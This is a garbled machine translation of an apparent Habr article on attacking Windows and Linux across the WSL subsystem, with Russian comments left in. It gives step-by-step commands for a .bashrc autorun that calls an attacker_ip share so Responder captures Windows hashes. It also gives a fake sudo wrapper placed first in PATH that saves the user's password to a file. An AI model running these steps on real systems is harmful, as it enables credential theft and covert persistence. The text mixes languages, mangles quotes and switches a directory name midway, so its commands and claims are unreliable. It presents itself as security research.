เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเป„เบ”เป‰เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เป€เบžเบทเปˆเบญเบเปเบฒเบ™เบปเบ”เบเบฒเบ™เบฅเบฐเป€เบกเบตเบ”เบเบปเบ”เบฅเบฐเบšเบฝเบšเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบˆเบฒเบ Linux FS->Windows FS, Windows FS->Linux FS. เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเป„เบ”เป‰เบชเบฐเปเบ”เบ‡เปƒเบซเป‰เป€เบซเบฑเบ™เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เปƒเบ™เบเบฒเบ™เบ”เบฑเบ”เปเบ›เบ‡เป„เบŸเบฅเปŒเปƒเบ”เบซเบ™เบถเปˆเบ‡เบžเบฒเบเปƒเบ™ OS เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบ. เบ„เบงเบฒเบกเบžเบฐเบเบฒเบเบฒเบกเบเปเปˆเป„เบ”เป‰เบ–เบทเบเป€เบฎเบฑเบ”เป€เบžเบทเปˆเบญเบ—เบปเบ”เปเบ—เบ™, เบชเป‰เบฒเบ‡เบŠเป‰เปเบฒเบเบฑเบ™เปเบฅเบฐเบฅเบถเบšเบšเบฒเบ‡เบชเปˆเบงเบ™เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเป„เบŸเบฅเปŒ.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™:

  • A. เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบˆเบฒเบเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Windows - เบเบฒเบ™เปเบเป‰เป„เบ‚เป„เบŸเบฅเปŒเบˆเบฒเบเบฅเบฐเบšเบปเบš /etc เบ‚เบญเบ‡ Linux OS.
  • B. เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบˆเบฒเบเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux - เบเบฒเบ™เปเบเป‰เป„เบ‚เป„เบŸเบฅเปŒเปƒเบ™เป„เบ”เป€เบฅเบเบฐเบ—เปเบฅเบต: C:Windows, C:Program Files, C:Users<User>

2. เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‚เบญเบ‡ stack เป€เบ„เบทเบญเบ‚เปˆเบฒเบ.

เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเป„เบ”เป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เป‚เบ”เบเปƒเบŠเป‰เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เป‚เบˆเบกเบ•เบตเบˆเบฒเบเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux เปƒเบ™ Windows. เบ„เบธเบ™เบ™เบฐเบชเบปเบกเบšเบฑเบ”เบ‚เบญเบ‡ stack เป€เบ„เบทเบญเบ‚เปˆเบฒเบเป„เบ”เป‰เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰, เบ„เบท, เบเบปเบ™เป„เบเบเบฒเบ™เบขเบฑเป‰เบ‡เบขเบทเบ™เปƒเบ™เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ•เปˆเบฒเบ‡เป†.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™:

  • เบเบฒเบ™เป€เบ›เบตเบ”เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบžเบญเบ”เบ—เบตเปˆเบ„เบญเบšเบ„เบญเบ‡เบขเบนเปˆเปƒเบ™เบฅเบฐเบšเบปเบš Windows
  • เบเบฒเบ™เป€เบ›เบตเบ”เบ—เปˆเบฒเป€เบฎเบทเบญเป‚เบ”เบเบšเปเปˆเบกเบตเบชเบดเบ”เบ—เบดเบ—เบตเปˆเป€เบซเบกเบฒเบฐเบชเบปเบก
  • เปเบฅเปˆเบ™ shell reverse เป‚เบ”เบเปƒเบŠเป‰เป„เบŸเบฅเปŒ elf เปƒเบ™เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Windows.

3. เป€เบŠเบทเปˆเบญเบ‡เบเบฒเบ™เป€เบ›เบตเบ”เบ•เบปเบงเบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบŠเบญเบšเปเบงเบ—เบตเปˆเป€เบ›เบฑเบ™เบญเบฑเบ™เบ•เบฐเบฅเบฒเบเป‚เบ”เบเปƒเบŠเป‰เบฅเบฐเบšเบปเบšเบเปˆเบญเบ WSL.

เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเปเบกเปˆเบ™เบญเบตเบ‡เปƒเบชเปˆเบ„เบงเบฒเบกเบˆเบดเบ‡เบ—เบตเปˆเบ‡เปˆเบฒเบเบ”เบฒเบ - เบฅเบฐเบšเบปเบšเบเปˆเบญเบเบ„เบงเบฒเบกเบ›เบญเบ”เป„เบžเบšเปเปˆเบชเบฒเบกเบฒเบ”เบ‚เบฑเบ”เบ‚เบงเบฒเบ‡เป€เบซเบ”เบเบฒเบ™เปƒเบ™ kernel เบญเบทเปˆเบ™เบ—เบตเปˆเป€เบฎเบฑเบ”เบงเบฝเบเป‚เบ”เบเปƒเบŠเป‰เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบ—เบตเปˆเบ–เบทเบเบ•เป‰เบญเบ‡เบˆเบฒเบเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ‚เบญเบ‡ WSL 1. เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ‚เบญเบ‡ WSL 2, เบšเปเปˆเบกเบตเบงเบดเบ—เบตเบ—เบตเปˆเบˆเบฐเป€เบšเบดเปˆเบ‡เป€เบซเบ”เบเบฒเบ™เบ—เบตเปˆเป€เบเบตเบ”เบ‚เบถเป‰เบ™. เปƒเบ™ kernel เปเบเบเบ•เปˆเบฒเบ‡เบซเบฒเบเบžเบฒเบเปƒเบ™เป€เบ„เบทเปˆเบญเบ‡ virtual เบ™เป‰เปเบฒเบซเบ™เบฑเบเป€เบšเบปเบฒ.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™:

1) เป€เบ›เบตเบ”เปƒเบŠเป‰เปเบญเบฑเบšเบžเบฅเบดเป€เบ„เบŠเบฑเบ™เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบฅเบฐเบšเบปเบšเบซเปˆเบฒเบ‡เป„เบเบชเบญเบเบซเบผเบตเบ เปเบฅเบฐเป€เบšเบดเปˆเบ‡เป€เบซเบ”เบเบฒเบ™เบ—เบตเปˆเบšเบฑเบ™เบ—เบถเบเป„เบงเป‰.

เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL 1: เบเบฒเบ™เบชเบฐเบเบฑเบ”เป€เบญเบปเบฒ hash (Windows)

เปƒเบ™เบ—เบตเปˆเบชเบธเบ”เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เป€เบ–เบดเบ‡เบžเบฒเบเบ›เบฐเบ•เบดเบšเบฑเบ”. เบ—เปเบฒเบญเบดเบ”, เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป„เบ”เป‰เบ•เบฑเป‰เบ‡เบ„เปˆเบฒเบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบเบฒเบ™เบ—เบปเบ”เบชเบญเบš. เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡เบ—เบฑเบ‡เบซเบกเบปเบ”เบˆเบฐเบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เบขเบนเปˆเปƒเบ™ bench เบ—เบตเปˆเบกเบตเบเบฒเบ™เบ•เบดเบ”เบ•เบฑเป‰เบ‡ Windows 10 2004. เบฎเบนเบšเบžเบฒเบš Ubuntu 18.04 เบ–เบทเบเป€เบฅเบทเบญเบเป€เบ›เบฑเบ™เบฎเบนเบšเบžเบฒเบšเบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบชเปเบฒเบฅเบฑเบš WSL. เบฎเบนเบšโ€‹เบžเบฒเบšโ€‹เป„เบ”เป‰โ€‹เบ–เบทเบโ€‹เบ„เบฑเบ”โ€‹เป€เบฅเบทเบญเบโ€‹เปƒเบ™โ€‹เบเบฒเบ™โ€‹เบชเบธเปˆเบกโ€‹, เปเบฅเบฐโ€‹เบญเบทเปˆเบ™เป†โ€‹เบˆเบฐโ€‹เป€เบฎเบฑเบ”โ€‹เบงเบฝเบโ€‹เบ„เบทโ€‹เบเบฑเบ™โ€‹. เบ„เปเบฒเบชเบฑเปˆเบ‡เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ•เบฑเป‰เบ‡ stand:

เบเปˆเบญเบ™เบญเบทเปˆเบ™ เปเบปเบ” เบ—เปˆเบฒเบ™เบ•เป‰เบญเบ‡เป€เบ›เบตเบ”เบ•เบปเบง powershell.exe เป€เบ›เบฑเบ™เบœเบนเป‰เบšเปเบฅเบดเบซเบฒเบ™.

เบชเปเบฒเบฅเบฑเบš WSL 1 เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ„เปเบฒเบชเบฑเปˆเบ‡:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ะ’ะบะปัŽั‡ะธั‚ัŒ ั„ัƒะฝะบั†ะธัŽ WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #ะ—ะฐะณั€ัƒะทะธั‚ัŒ ะพะฑั€ะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft

  • Ubuntu.appx install โ€”root #ะฃัั‚ะฐะฝะพะฒะธะผ ะพะฑั€ะฐะท
  • ะ’ะพะทะผะพะถะฝะพ, ะฟั€ะธะดะตั‚ัั ะฟั€ะพะบะปะธะบะฐั‚ัŒ ะฟั€ะพั†ะตัั ะฝะฐัั‚ั€ะพะนะบะธ ะธ ัะพะทะดะฐั‚ัŒ ะฝะพะฒะพะณะพ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั, ะบะพั‚ะพั€ั‹ะน ะฑัƒะดะตั‚ ะธะผะตั‚ัŒ ะผะตะฝัŒัˆะต ะฟั€ะฐะฒ, ั‡ะตะผ root. ะ”ะปั ะฝะฐัˆะธั… ั‚ะตัั‚ะพะฒ ัั‚ะพ ะฑัƒะดะตั‚ ะพะฑั‹ั‡ะฝั‹ะน ะฟะพะปัŒะทะพะฒะฐั‚ะตะปัŒ sam.
  • Restart-Computer #ะŸะตั€ะตะทะฐะณั€ัƒะทะธะผ
  • เบซเบผเบฑเบ‡เบˆเบฒเบ rebooting stand, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป‚เบ—เบซเบฒเบ„เปเบฒเบชเบฑเปˆเบ‡ bash. เบ–เป‰เบฒเบ—เบธเบเบชเบดเปˆเบ‡เบ—เบธเบเบขเปˆเบฒเบ‡เป€เบฎเบฑเบ”เบงเบฝเบเบขเปˆเบฒเบ‡เบ–เบทเบเบ•เป‰เบญเบ‡, เบ—เปˆเบฒเบ™เบˆเบฐเป€เบซเบฑเบ™เบœเบปเบ™เบœเบฐเบฅเบดเบ”เบ—เบตเปˆเบ„เป‰เบฒเบเบ„เบทเบเบฑเบ™เปƒเบ™ Windows console:

    เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

    เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเปƒเบŠเป‰เบเบฒเบ™เปเบˆเบเบขเบฒเบ Kali Linux เป€เบ›เบฑเบ™เป€เบ„เบทเปˆเบญเบ‡เบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบต; เป€เบ„เบทเปˆเบญเบ‡เบˆเบฑเบเบ—เบฑเบ‡เปเบปเบ”เบˆเบฐเบ•เป‰เบญเบ‡เบขเบนเปˆเปƒเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™เบ”เบฝเบงเบเบฑเบ™.

    เปƒเบซเป‰เบชเบปเบกเบกเบธเบ”เบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบกเบตเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡ WSL เบ—เบตเปˆเบšเปเปˆเป„เบ”เป‰เบฎเบฑเบšเบชเบดเบ”เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡ Windows. เปƒเบซเป‰เบžเบฐเบเบฒเบเบฒเบกเป‚เบˆเบกเบ•เบตเบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux เป‚เบ”เบเบเบฒเบ™เป‚เบ—เบซเบฒเบ„เปเบฒเบชเบฑเปˆเบ‡เบˆเบฒเบ Linux. เป€เบžเบทเปˆเบญเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบต, เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเปƒเบŠเป‰เป€เบ•เบฑเบเบ™เบดเบ autorun เบ‡เปˆเบฒเบเป† - เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเป€เบžเบตเปˆเบกเบชเบฐเบ„เบดเบšเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เปƒเบ™เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบก Linux. เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เบชเบดเปˆเบ‡เบ™เบตเป‰, เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป„เบ”เป‰เบ›เปˆเบฝเบ™เป„เบŸเบฅเปŒ .bashrc.

    เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡เบ—เบตเปˆเบกเบต WSL เบžเบงเบเป€เบฎเบปเบฒเบ›เบฐเบ•เบดเบšเบฑเบ”:

    	1. bash
    	2. ะŸะตั€ะตั…ะพะดะธะผ ะฒ ะดะพะผะฐัˆะฝัŽัŽ ะดะธั€ะตะบั‚ะพั€ะธัŽ ะฟะพะปัŒะทะพะฒะฐั‚ะตะปั: cd /home/sam/
    	2. echo  ยซ/home/sam/.attack.shยป >> .bashrc
    	3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡ Kali Linux เบžเบงเบเป€เบฎเบปเบฒเปเบฅเปˆเบ™:

    1. Responder -I eth0 -rdvw

    เปƒเบ™เป€เบ„เบทเปˆเบญเบ‡ Windows, เปƒเบซเป‰เป€เบ›เบตเบ” bash.

    เบžเบงเบเป€เบฎเบปเบฒเบฅเปเบ–เป‰เบฒเบœเบปเบ™เป„เบ”เป‰เบฎเบฑเบšเบขเบนเปˆเปƒเบ™เป€เบ„เบทเปˆเบญเบ‡ Kali Linux:

    เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

    เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบฎเบฑเบšเบœเบนเป‰เปƒเบŠเป‰ Windows hashes เบœเปˆเบฒเบ™เบฅเบฐเบšเบปเบšเบเปˆเบญเบ WSL เป‚เบ”เบเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ„เปเบฒเบชเบฑเปˆเบ‡เปƒเบ™เบฅเบฐเบšเบปเบš Linux.

    เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL 1: เบเบฒเบ™เป„เบ”เป‰เบฎเบฑเบšเบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™เบœเบนเป‰เปƒเบŠเป‰ (Linux OS)

    เบกเบฒเบ—เบปเบ”เบฅเบญเบ‡เบญเบตเบเบญเบฑเบ™เปœเบถเปˆเบ‡. เปƒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบเบฒเบ™เบเบงเบ”เบชเบญเบšเบ™เบตเป‰เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเป€เบžเบตเปˆเบกเปƒเบชเปˆเป„เบŸเบฅเปŒ .bashrc เบ„เปเบฒเบชเบฑเปˆเบ‡เบˆเปเบฒเบ™เบงเบ™เบซเบ™เบถเปˆเบ‡เป€เบžเบทเปˆเบญเปƒเบซเป‰เป„เบ”เป‰เบฎเบฑเบšเบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™เบœเบนเป‰เปƒเบŠเป‰เบ‚เบญเบ‡เบฅเบฐเบšเบปเบšเบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™ Linux.

    เปƒเบซเป‰เป€เบ›เบตเบ” bash เปเบฅเบฐเปƒเบชเปˆเบ„เปเบฒเบชเบฑเปˆเบ‡:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    เป€เบžเบทเปˆเบญเบชเบณเป€เบฅเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบต, เบœเบนเป‰เปƒเบŠเป‰ Sam เบ•เป‰เบญเบ‡เบเบฒเบ™เป‚เบ—เบซเบฒ sudo เปƒเบ™ terminal Linux. เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบตเป‰, เบฅเบฐเบซเบฑเบ”เบœเปˆเบฒเบ™เบœเบนเป‰เปƒเบŠเป‰ Linux OS เบˆเบฐเบขเบนเปˆเปƒเบ™เป„เบŸเบฅเปŒ pass.txt:

    เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

    เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบตเป„เบ”เป‰เบ–เบทเบเบกเบญเบšเปƒเบซเป‰เบชเปเบฒเบฅเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ—เบฒเบ‡เบ—เบดเบ”เบชเบฐเบ”เบตเป€เบ—เบปเปˆเบฒเบ™เบฑเป‰เบ™.

    เบชเปˆเบงเบ™เบ•เปเปˆเป„เบ›เบ‚เบญเบ‡เบšเบปเบ”เบ„เบงเบฒเบกเบˆเบฐเบญเบฐเบ—เบดเบšเบฒเบเบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบ‚เบญเบ‡เบญเบฐเบ™เบธเบชเบฑเบ™เบเบฒ 9P, เบžเบดเบˆเบฒเบฅเบฐเบ™เบฒเบเบฒเบ™เบชเป‰เบฒเบ‡เป€เบ„เบทเปˆเบญเบ‡เบชเบฐเปเบเบ™เบชเปเบฒเบฅเบฑเบšเป‚เบ›เป‚เบ•เบ„เบญเบ™เบ™เบตเป‰, เปเบฅเบฐเบเบฑเบ‡เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เป‚เบˆเบกเบ•เบตเป‚เบ”เบเปƒเบŠเป‰เบกเบฑเบ™.

    เบฅเบฒเบเบเบฒเบ™เบงเบฑเบ™เบ™เบฐเบ„เบฐเบ”เบตเบ—เบตเปˆเปƒเบŠเป‰เปเบฅเป‰เบง

    เบเบฒเบ™เบ—เบปเบ”เบฅเบญเบ‡ WSL. เบžเบฒเบเบ—เบต 1

    เบญเปˆเบฒเบ™โ€‹เบ•เบทเปˆเบก

    เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: www.habr.com

    เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™